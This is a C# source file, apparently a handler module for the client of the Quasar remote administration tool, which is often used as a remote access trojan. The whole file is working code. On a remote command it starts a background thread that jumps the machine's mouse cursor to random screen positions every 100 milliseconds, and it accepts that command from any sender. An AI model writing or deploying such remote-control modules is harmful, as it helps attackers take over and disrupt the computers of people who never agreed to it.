using Quasar.Common.Messages; using Quasar.Common.Networking; using System; using System.Runtime.InteropServices; using System.Threading; using System.Windows.Forms; namespace Quasar.Client.Messages { public class CursorChaosHandler : IMessageProcessor, IDisposable { [DllImport("user32.dll")] private static extern bool SetCursorPos(int x, int y); private Thread _thread; private volatile bool _running; public bool CanExecute(IMessage message) => message is DoStartCursorChaos || message is DoStopCursorChaos; public bool CanExecuteFrom(ISender sender) => true; public void Execute(ISender sender, IMessage message) { switch (message) { case DoStartCursorChaos _: Start(); break; case DoStopCursorChaos _: Stop(); break; } } private void Start() { if (_running) return; _running = true; _thread = new Thread(() => { var rng = new Random(); while (_running) { try { int x = rng.Next(SystemInformation.VirtualScreen.Left, SystemInformation.VirtualScreen.Right); int y = rng.Next(SystemInformation.VirtualScreen.Top, SystemInformation.VirtualScreen.Bottom); SetCursorPos(x, y); } catch { } Thread.Sleep(100); } }); _thread.IsBackground = true; _thread.Start(); } private void Stop() => _running = false; public void Dispose() => Stop(); } }